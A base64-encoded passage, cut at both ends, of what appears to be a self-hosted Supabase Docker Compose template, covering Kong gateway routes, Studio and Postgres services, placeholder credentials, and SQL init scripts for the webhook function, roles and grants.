S13c1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3JlYWx0aW1lL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cbiAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgX2NvbW1lbnQ6ICdSZWFsdGltZTogL3JlYWx0aW1lL3YxLyogLT4gd3M6Ly9yZWFsdGltZTo0MDAwL3NvY2tldC8qJ1xuICAgIHVybDogaHR0cDovL3JlYWx0aW1lLWRldjo0MDAwL2FwaVxuICAgIHByb3RvY29sOiBodHRwXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvYXBpXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFN0b3JhZ2Ugcm91dGVzOiB0aGUgc3RvcmFnZSBzZXJ2ZXIgbWFuYWdlcyBpdHMgb3duIGF1dGhcbiAgLSBuYW1lOiBzdG9yYWdlLXYxXG4gICAgX2NvbW1lbnQ6ICdTdG9yYWdlOiAvc3RvcmFnZS92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBzdG9yYWdlLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3N0b3JhZ2UvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEVkZ2UgRnVuY3Rpb25zIHJvdXRlc1xuICAtIG5hbWU6IGZ1bmN0aW9ucy12MVxuICAgIF9jb21tZW50OiAnRWRnZSBGdW5jdGlvbnM6IC9mdW5jdGlvbnMvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOjkwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBmdW5jdGlvbnMtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZnVuY3Rpb25zL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBBbmFseXRpY3Mgcm91dGVzXG4gIC0gbmFtZTogYW5hbHl0aWNzLXYxXG4gICAgX2NvbW1lbnQ6ICdBbmFseXRpY3M6IC9hbmFseXRpY3MvdjEvKiAtPiBodHRwOi8vbG9nZmxhcmU6NDAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYW5hbHl0aWNzLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2FuYWx5dGljcy92MS9cblxuICAjIyBTZWN1cmUgRGF0YWJhc2Ugcm91dGVzXG4gIC0gbmFtZTogbWV0YVxuICAgIF9jb21tZW50OiAncGctbWV0YTogL3BnLyogLT4gaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IG1ldGEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcGcvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG5cbiAgIyMgUHJvdGVjdGVkIERhc2hib2FyZCAtIGNhdGNoIGFsbCByZW1haW5pbmcgcm91dGVzXG4gIC0gbmFtZTogZGFzaGJvYXJkXG4gICAgX2NvbW1lbnQ6ICdTdHVkaW86IC8qIC0+IGh0dHA6Ly9zdHVkaW86MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0dWRpbzozMDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogZGFzaGJvYXJkLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZTogYmFzaWMtYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuIgogIHN1cGFiYXNlLXN0dWRpbzoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3R1ZGlvOjIwMjUuMTIuMTctc2hhLTQzZjRmN2YnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3BsYXRmb3JtL3Byb2ZpbGUnKS50aGVuKChyKSA9PiB7aWYgKHIuc3RhdHVzICE9PSAyMDApIHRocm93IG5ldyBFcnJvcihyLnN0YXR1cyl9KSIKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSE9TVE5BTUU9MC4wLjAuMAogICAgICAtICdTVFVESU9fUEdfTUVUQV9VUkw9aHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MCcKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnREVGQVVMVF9PUkdBTklaQVRJT05fTkFNRT0ke1NUVURJT19ERUZBVUxUX09SR0FOSVpBVElPTjotRGVmYXVsdCBPcmdhbml6YXRpb259JwogICAgICAtICdERUZBVUxUX1BST0pFQ1RfTkFNRT0ke1NUVURJT19ERUZBVUxUX1BST0pFQ1Q6LURlZmF1bHQgUHJvamVjdH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD1odHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwJwogICAgICAtICdTVVBBQkFTRV9QVUJMSUNfVVJMPSR7U0VSVklDRV9GUUROX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFU0VSVklDRV9LRVl9JwogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0xPR0ZMQVJFX0FQSV9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0xPR0ZMQVJFfScKICAgICAgLSAnTE9HRkxBUkVfVVJMPWh0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMCcKICAgICAgLSAnU1VQQUJBU0VfUFVCTElDX0FQST0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgR